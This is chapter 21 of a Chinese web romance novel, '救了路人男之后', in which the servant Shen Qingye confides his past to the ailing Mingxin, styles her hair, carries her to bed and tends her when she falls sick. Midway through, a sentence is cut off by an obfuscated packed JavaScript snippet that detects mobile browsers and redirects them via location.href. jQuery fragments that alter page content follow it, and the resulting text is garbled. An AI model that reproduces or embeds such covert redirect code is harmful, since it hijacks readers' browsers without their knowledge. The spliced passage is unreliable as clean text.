21.第 21 章
作品:《救了路人男之后》 沉清叶乖巧又听话。
但他浑身上下的所有伤痕,十指未愈合的指甲,都是他挣扎活下来的证明。
他生如此相貌,走来一路,竟干干净净。
明心难以想象他熬过的苦难,受过的痛。
沉清叶怔怔看着她,窗外光影越发明亮,映衬他久未见光的面容无比苍白。
他抿着唇,浑身僵硬,移开了视线。
他从未听过这种话。
也从未接触过这种视线。
就好像,很怜惜他一样。
他听过最多的,早已熟悉的,是他人辱骂他贱奴,犟骨,眼神憎恨,恨不能打折他的脊骨,将他踩入烂泥里。
那才是他熟悉的。
“清叶,”她轻声问他,“你可是曾有什么想要实现的?”
沉清叶没懂她的意思,明心朝他莞尔。
“我的身体不大好,从前幼时,几次险些醒不过来了。”
她话音刚落,沉清叶问她,“......醒不过来了?”
“嗯,”明心没觉察到他的失措,“也有几次,是我自己都不大想醒过来了。”
生病的滋味太难受。
躺在床上,气都喘不出来,头痛欲裂,她曾在缠绵病榻时用力抓挠自己的胸口,胳膊,只想要让自己好受一些。
沉清叶只觉自己好似一下子坠落谷底,他攥紧了汤婆子,“那贵女如今还会有如此想法吗?”
明心摇了摇头。
“不会了,我看了许多书本,见了许多人们,世间生灵百态,山海风景,美食佳肴,我想要多看一看,吃一吃,为此目的,便是又生了病我也不会再自怨自艾。”
沉清叶微怔。
见她浅浅笑脸。
“清叶,你又为何如此坚持?从前是经历了什么,可是有什么想要实现的?”
沉清叶抱着手里的汤婆子,低垂着头,好片晌,才将自己从未吐露,埋藏多年的心里话,断断续续的说了出来。
“奴一开始被拐入上阙楼的时候,年岁还太小。”
“那时见楼里的其他人们,每隔月中,都要给亲人寄信,奴那时不知亲人是什么,问了时常给奴扔活的伙计,”他羞于启齿,“奴问他亲人是什么,怎的他们都有,奴却没有。”
“他骗奴说,对面巷口卖豆腐的大娘是奴的亲人,是奴的母亲,”他自己都羞愧,“奴当年真的信了。”
“奴住的大通铺,正巧能望见对面的巷口。”
他不知望了不知有多久,只记得冬天的时候,那大娘会将烤好的山芋掰成两半给她的孩子吃,夏天的时候,她又会坐在板凳上,端一盆凉井水,给她的孩子擦身子。
其实他当年那么看着的时候,便知不可能。
但心里,他总忍不住想——万一呢?
万一她当真是他的亲人,不知他在这里呢?
他抱着万分之一的希冀,在一年寒雪天,去那条他看了不知多久的巷子里买了块豆腐。
也是人生头一回,他鼓起勇气,对花楼之外的人搭话。
他问那大娘的孩子,问他叫什么名字。
只刚说了一句话。
“那大娘要奴快些走开,说奴不是清白人,和奴说话会脏了耳朵。”沉清叶话音一如平常,却让明心听得很难受。
“大概是因此,奴总想要清白的活着,”他微抿了下唇,“曾经,想做的事情,也是有的。”
“是什么?”
他垂着头,声音小了许多,“挽发师傅。”
“挽发师傅......吗?”明心没太听清。
“嗯。”天亮了,他面朝明心,原本的苍白面上隐有绯色,人偶般的相貌也带出几分鲜活。
谈论这个,于他而言,难以启齿。
但他并不排斥与明心说。
“沉清叶,你定会成功的。”明心朝他浅浅弯唇。
旁人与他,尽是耻笑羞辱,嫉妒谩骂。
沉清叶迎着明心的面容,片晌,他低下了头。
他没有说,他如今并不想做挽发师傅了。
他想要给贵女挽发。
只给贵女一个人挽发。
*
在木梳上浅蘸栀子花香的发油,自上,直直梳到下。
清晨的日头里,沉清叶站在明心的身后,悉心给她梳发。
发丝流水般垂落他指尖,他梳的珍重又小心。
明心的墨发细软,在日头下泛着浅浅棕色。
他想要记住贵女的发丝。
若能就这样,每日给贵女梳头,每日给贵女念书,在她吃药的时候递她果脯饴糖,照顾贵女的生活起居,大小事务,该有多好?
他观察过,他其实较比贵女身边的那几个家奴更要心细。
他想要贴身照顾贵女。
若是一切都由他来照顾......
他会照顾的比那些人更好的,他会用尽了全部的心力,去照顾贵女的。
沉清叶抿起唇,插.上最后一根银簪,后退了一步,“贵女,好了。”
明心自困顿之间抬起眼睛。
望见镜中精美到她都舍不得拆的发髻,明心都不由得感叹,“清叶,你的手也太巧了。”
他的手巧成这样,又会认字,心细致,聪明又能干,怎么做不得挽发师傅?
明家从前花高价雇佣的,专给贵人娘子们挽发的老师傅,在明心看来,都不及沉清叶。
被她夸奖,让沉清叶微微垂下头,
也恰巧,宋嬷嬷进来喊明心用饭,乍然望见那少年站在明心身后,二人颇为亲昵的样子,宋嬷嬷心里吓得一个激灵。
还没说话,便见明心转过头来,她浅笑盈盈,站起身在宋嬷嬷的面前转了个圈,又摇了摇头,引得发间钗环叮当作响。
“嬷嬷瞧我今日可有什么不一样的?”
宋嬷嬷一眼就瞧出来了。
“哪来的一双巧手,给咱们娘子梳的如此精巧?”宋嬷嬷最是眼光毒辣的,她围着明心瞧了圈,越是看,越是满意,连连点头,“好看,好看。”
明心莞尔,“是清叶给我挽的发,往后咱们府里再不用找大明坊那个挽发师傅了。”
宋嬷嬷想碰明心发簪的手一顿,转眼瞧过去。
便见那少年站在一侧,他低眉顺眼的乖顺模样,墨发仅用一根白玉发簪低挽,身上是明家下人都穿着的浅青色的旧衫,一身打扮平凡寡淡,却因他相貌太盛,素净的服饰也显出清艳之感。
别人穿这身衣裳是泯于众人。
偏偏他能硬生生将这旧衣裳都衬的出尘。
宋嬷嬷瞧了他一眼,又细看明心的发髻,冷不丁想起从前明心说过的话,想想也是这个理,相貌如何,到底怨不得他。
宋嬷嬷话音略有僵硬。
“倒是有一双巧手,比大明坊的师傅不差。”
这便是许了以后沉清叶给明心挽发了。
明心高兴,临走的时候递给尚且无觉,明显不安的沉清叶一小盒麦芽糖,“可记得吃完了漱口。”
沉清叶拿着手里的麦芽糖,微顿,抬眼,明心已与宋嬷嬷打帘出去了。
*
继山海游记之后,明心新找了几本她囤积的话本,有成仙人成道人一类的,有讲官场沉浮人心叵测的,还拿出一本讲美食的,和同样讲游侠行走四方的。
她递到沉清叶面前,要沉清叶来挑选。
日前沉清叶搬出了卧房,因着别府院落不少,几个受用的家奴都是有单独住房的,明心也给他挑了个带单独的小院儿的,离着她也近,日常梳头,念话本,过来的时候不会因路上风雪太受罪。
因着他搬了出去,宋嬷嬷近日对他也越发和颜悦色起来。
沉清叶才给她梳过发。
指尖还依稀残留她发间,栀子花发油的香味。
听她要他来挑选,沉清叶一一看过这些话本,问,“贵女,这本记录美食的,里面可有甜食的做法?”
“甜食?”明心微愣,想起沉清叶和她一样爱吃甜,兴许是想有机会自己给自己做,她点了点头,
“有的,我粗略瞧过一眼,什么菜式都有,里面还有樱桃毕罗,白玉蹄花,松鼠鳜鱼,这些我都印象深刻。”
她谈起这些,如数家珍。
沉清叶望着她面上的笑意,“就读这一本,可以吗?”
“可以啊,你不会觉得看美食枯燥便好。”明心一贯是看什么都觉得有乐子的。
“不会。”沉清叶一贯少言,他拿了话本,坐在明心的对面。
觉少女抱着汤婆子熟稔地坐过来,鼻息间,栀子花的香味仿若将他环绕,耳边是炭火声轻响,屋外落雪,屋内,是仅有两个人的静谧温存。
听她浅浅话语,笑音,便总觉,难以言喻的安心。
他从未想过,自己有朝一日会感到安心。
若能一直如此,该有多好?
但时间总是过的如此之快。
天色越发沉寂,明心泡过药浴,吃过饭后又喝了药,整个人都昏昏欲睡,她本想回床榻上歇息,又害怕宋嬷嬷进来,看了会训斥。
听着沉清叶给她念话本,尽是些好吃的东西,她原本正绣着手里绣着玩的绣活儿,这会儿头一点一点,又要睡着了。
实在是太困。
沉清叶余光注意着她,瞥见她将绣活慢吞吞的搁置放到一侧,趴到桌上,抱着手炉便不吭声了。
只是过了一会儿。
便听她呼吸声越发匀称。
沉清叶原本读着话本的声音越来越小,直到停歇。
他指尖扣了下书页,转过头望向旁侧的少女。
第一眼,望见的便是烛光之下,少女经他手而就,梳起的简单发髻。
她倦怠的趴在桌上,放在面颊边的指尖微蜷,长睫垂落,在光影之下,她面容显得越发白皙,睡得正香。
沉清叶微顿,收了手中话本,将书签搁好,合起来轻放到桌上。
他注视着明心的脸庞,烛火不知烧了多久,他方起身,小心翼翼的捡起明心没有绣完的绣活,将针捋好,细致搁到一侧。
做完这些,他才看向明心。
少女趴在桌上睡得正熟,弯着腰身,衣衫后领露出大片雪白的后颈,沉清叶瞥见她后颈处有一颗小痣,大概直身时,恰巧能被衣衫遮住。
不知为何,沉清叶好似被火燎了一下心头,他忙垂下眼睫,盯着地垫上自己的倒影,轻声唤,“贵女。”
明心没醒。
“贵女?”
明心还是全然没有要醒的迹象。
沉清叶僵跪在原地,竟一时不知道该怎么办才好。
宋嬷嬷与他说过,若是贵女困了,定要喊贵女去床榻上睡才行,以免着了凉。
沉清叶低垂着视线,好一会儿,才又抬起头,看向睡在桌前的少女。
“贵女,奴抱您回床榻上,可以吗?”
回应他的,只有明心浅缓的呼吸声。
沉清叶抿起唇,四下昏暗,烛火摇晃,他指尖微顿,先一根一根的摘去少女发上钗環,要她柔软墨发散落,才碰上少女的肩。
明心在屋内一向习惯穿的舒适又单薄。
只是隔着柔软的料子,便似直接触上她温软的皮肤,沉清叶浑身一僵,片刻,才掠去心下怪异,用了几分力气,不大熟练的揽起少女的腿膝。
他动作极轻。
明心早已习惯他人服侍,他如此抱着她,也没有要她醒来。
沉清叶下意识低头看了她一眼,望见少女睡得安稳的面庞,睡梦之中,她柔软的身子贴靠着他,衣衫略微松散,隐隐约约的栀子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732755|172604||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
花香近乎将他环绕。
沉清叶没敢再看她一眼。
只将她放到床榻上,盖好被褥,确认无误,才用力捏着不知为何过于发烫的耳垂匆匆往外走。
听见身后隐隐传来的“谢谢嬷嬷。”,似梦中呓语,含着女儿家的亲昵娇缠,沉清叶知她认错了,他没有说话,逃也般离了明心的卧房。
屋外风雪颇大。
猛然吹上他烫的厉害的脸颊,少年呼吸一起一伏,他紧紧蹙着眉,往前走了几步,又在无人之处蹲下身。
他盯着自己的手。
如今这双手的指甲,已长出大半,时时看,时时觉得陌生。
从前他也会在被他人碰触,或是不小心碰触到他人时,盯着自己的手发愣。
那时只觉无论怎么洗,也洗不下去的恶心厌恶。
而方才,全然不同。
指尖栀子花的香味尚存,他不知自己的心绪为何会如此复杂。
风雪随晚风呼啸,吹卷而来,少年不知人事,耳尖尚存残红。
他的心跳声,大到吵人。
但他知悉,那并非是厌恶。
*
近日天气乍暖还寒。
莲翠是在一日天色未亮,准备去喊明心用药的清晨,发现明心病了的。
她手足无措,吓得魂飞魄散,生怕自己会挨了怪罪,先灰溜溜的去向不知为何迟了些,还没过来的宋嬷嬷告知情况,谁知一进门,便听宋嬷嬷不住咳嗽。
抬眼一瞧,便见宋嬷嬷弯腰拿着痰盂,咳得惊天动地,脸色都黄如金纸了。
“嬷嬷!”莲翠忙上前去,先伺候着宋嬷嬷好受了些,才道出原委,宋嬷嬷一听,哪怕身在病中也险些没被她气坏。
“你拖个人来告知事情便是!别府里贴身伺候的只有你我!你怎能扔下娘子便出来了!”
宋嬷嬷气的手不住掐她捏她,恨莲翠这不中用还时常贪嘴的东西,莲翠被掐的直哭,“奴唤了张医师过去,才敢出来的!”
“只张医师一个怎么够!你还不快回去!”
莲翠一向没主心骨,遇到大事都得宋嬷嬷出头,她不死心,“那......那嬷嬷您......您跟着去吗?”
“我这残破模样如何去得?”宋嬷嬷直推她,“你还不快过去!有任何事务都过来问我!”
“哎!哎!”
莲翠哭着点头,不顾管束了,小跑着便出了门,路上越发怪自己不中用,张医师是宫中请来的老太医,大佛身边一向需得有人帮把手,她越是后悔,眼泪流的越多,过去明心卧房时,脸上都是愧疚后悔的泪,掀了绵帘进来,里头却并未如自己所想一团混乱。
反倒是,井井有条。
墨发用一根白玉簪半披半束的少年正蹲在张医师旁侧收纳规整,卧房内静谧非常,他瞥见莲翠的身影,低头行礼,
“莲翠姑娘,奴今日过来便发现贵女身子不好,斗胆逾越先唤人去按着药方煮了药。”
“哎?啊......”莲翠点了点头,“你、你唤谁煮的?”
“要宣隆带药方去给小厨房的秋秋煮的,嬷嬷说过府上除您之外,便是小厨房的秋秋煮药最好。”
确实如此。
莲翠懵愣,对面的少年依旧低眉顺眼,声音沉静,
“奴去小厨房候着,姑娘先给贵女拉上帘子,换身干爽衣裳,再按张医师所说给贵女顺一下穴位。”
“......哦,好。”
莲翠这会儿将脸上丢人的泪都擦了,见少年出去,她忙凑到明心的跟前。
明心烧的厉害。
额间搭了一块微冷的湿巾帕,脸上都没什么血色了,莲翠心疼的直想哭,想起沉清叶临走时的嘱咐,忙先拉了帘子,又想起屋里的炭火不知烧的如何,她凑过去看,见才都新加过几块,此时烧的正暖,才安下心来给明心换衣。
众人这一番忙碌,忙到天色大亮,明心才恍恍惚惚醒过来。
她只觉身子过分沉重,好似被关入一层厚厚的壳里。
刚睁开眼,便听到莲翠的声音,“娘子......”
“二娘子!”
明心的手被莲翠给攥住了。
明心有些喘不上来气,她稍微缓了一下,先弯起唇,才转头看向莲翠。
“我无事,嬷嬷呢?”
莲翠哭的不住哽咽,沉清叶的声音在旁侧,“回贵女的话,嬷嬷今日病了。”
“嬷嬷怎的也病了,”
日前回了趟主宅,路上明心与宋嬷嬷都受了寒,明心闭了闭眼,难怪莲翠六神无主,
“别府里没个人照看可不行,莲翠,你可记得时不时便要去看看嬷嬷。”
“奴知道了。”莲翠点头。
明心温热的手拍了拍莲翠的手背,又捏了捏莲翠泪湿的脸,
“好了,莫哭,清叶,一会儿你嘱咐小厨房给莲翠蒸个马蹄糕吃,你爱吃甜,你也吃些。”
她身在病中,醒来下意识还是浅浅盈笑顾虑他人。
莲翠被明心安慰着,一点点止了泪,沉清叶站在一侧望着她,一点点蹙起眉心,
“那贵女呢,可有什么想吃的。”
“对,”莲翠忙道,“贵女想吃什么啊?”
“我没什么想吃的,寻常吃食便好。”明心身在病中,声音越发轻声细语,她看向沉清叶,少年只是沉默,一双桃花目直直的看着她。
竟似隐隐含愠。
明心看清了,一时不禁微愣。
“莲翠姑娘,正午了,你先去用饭吧,贵女这边有我来看顾。”
“啊?”莲翠抬头看他,“现下离正午还早啊......我想一会儿搬了矮桌过来,服侍着娘子一起吃......”
她话音越来越小。
是因对上沉清叶一双含冷桃花目。